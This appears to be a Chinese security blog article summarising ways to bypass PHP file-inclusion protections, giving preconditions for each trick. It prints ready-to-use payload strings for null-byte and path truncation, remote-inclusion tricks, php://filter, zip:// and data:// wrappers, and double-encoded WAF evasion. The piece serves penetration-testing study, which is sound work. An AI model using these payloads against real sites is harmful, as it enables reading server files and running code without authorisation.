作者:小仙人
介绍:安全武器库运营团队核心成员,享受星球原创文章待遇
声明
本篇文章为星球团队成员原创文章,已申请原创权限,如其他公众号有需要转文,请联系信安旅程运营人员。
前言:
本文的初衷是记录各种文件包含的绕过思路、技巧,总结了常规的绕过思路和各种奇淫技巧。这里可没有百分百能绕过的方法,除非你有0day,但是人家手上有0day怎么可能轻易分享呢。
你要了解的是什么呢?有两点!不要吝啬,拿出你的笔记了噢!利用方法和利用的前提条件。(这样一来,当你渗透时,你所收集到的信息一旦不满足利用的前提条件,你就可以排除此利用方法,这无疑是提高了渗透测试的效率。如果你无法收集到具体什么版本,那就用下面的利用姿势都走一遍吧)
常见的绕过思路:
★
有限制的本地文件包含绕过
(指定了后缀)
★
1
0x01 %00截断
前提条件:
PHP < 5.3.4、magic_quotes_gpc=Off
利用姿势:
?Path=../../../../etc/passwd%00
2
0x02 路径长度截断
前提条件:PHP<5.2.8
利用姿势:
?File=flag.txt/./././././././././././././././././././
注:在Linux下4096字节时会达到最大值,在Windows下256字节时会达到最大值。只要不断重复./ 。
3
0x03 点号截断
前提条件:
PHP<5.2.8,只适用于Windows操作系统
利用姿势:
?File=flag.txt...............................................................
以上利用姿势,基本在PHP 5.3版本之后都失效了。在版本之后有什么截断方法吗?这里我看到前辈的一篇文章,介绍一种伪截断的方式来实现文件截断的。
注:以下思路摘自
https://www.jianshu.com/p/fb054a6fd851
★
有限制的远程文件包含绕过
(指定了后缀)
★
4
0x04 问号截断
前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt?
注:其原理是WebServer?后面的内容当作请求的参数,而phpinfo.txt不在WebServer里面解析,从而使用问号来实现伪截断。
5
0x05 #号绕过
前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt#
6
0x06 空格绕过
前提条件:
未知,PHP>5.3的都可以尝试。
利用姿势:
?File=http://localhost/phpinfo.txt%20
7
0x07 利用伪协议绕过
前提条件:无
利用姿势:
?File=
zip://D:phpstudyWWWileincludechybeta.zip%23chybeta
这里要事先将phpinfo压缩好噢!不懂的可以看基础篇。
注:图片及思路摘自
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
绕WAF的奇淫技巧
绕WAF的姿势各种各样,我在这里也没法和大家说出一个详细方案,毕竟在绕WAF的道路上,通常都需要自己记录观察WAF的过滤规则,以下只是自己的一些心得。
相信各位师傅们在挖掘文件包含漏洞时会遇到WAF过滤../、~/、read、以及一些特殊符号等等,像单引、双引、#号等等。不仅仅是在挖掘文件包含漏洞才遇到,挖注入、XSS、RCE等等,相信都会遇到过吧。每一个厂商的WAF的过滤规则都不一样,具体还是要通过观察得出。
0x01 ../和..绕过
利用URL编码:如%2e%2e%2f / %2e%2e%5c、..%2f / ..%5c等等
利用二次编码:在一次URL编码基础上再进行编码
如:%252e%252e%252f / %252e%252e%255c
0x02 贪婪包含
场景:index.php?img=1.jpg
前提条件:未知
利用姿势:
Index.php?=img=php://filter/resource=../flag.php|jpg
(此利用姿势出自某CTF的题目)
0x03 通配符绕过
这里关于通配符绕过的姿势未知,我也查阅了一些文章,但是总结不到什么骚姿势出来,待定着吧。若是师傅们知道的,多多指导。
0x04 Base64编码绕过
利用姿势:
?file=php://filter/convert.base64-encode/resource=index.php
0x05 使用data伪协议读取文件
前提条件:allow_url_include=On
利用姿势:
file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
知识总结
1. 能利用00截断的场景有限,根据情况尝试使用。
2. 使用PHP伪协议对于绕WAF的效果更好。
3. 大多数文件包含漏洞都是需要截断的。
4. PHP 5.3版本之后全面修复了%00截断的问题。
5. 在URL中使用问号(?)、井号(#)可能会影响include包含的结果。
6. 总之有事没事就使用%00截断试试看吧,嘻嘻。
参考资料:
https://www.freebuf.com/articles/web/182280.html
https://www.cnblogs.com/xiaozi/p/7793857.html
https://bbs.ichunqiu.com/thread-28688-1-1.html?from=sec
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
http://mang0.me/archis/844a29d4/
https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/%E6%BC%8F%E6%B4%9E%E7%AF%87%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html
以上是我在学习和实践后的总结,纯属个人看法,若有不足之处,欢迎各位在评论区中指出。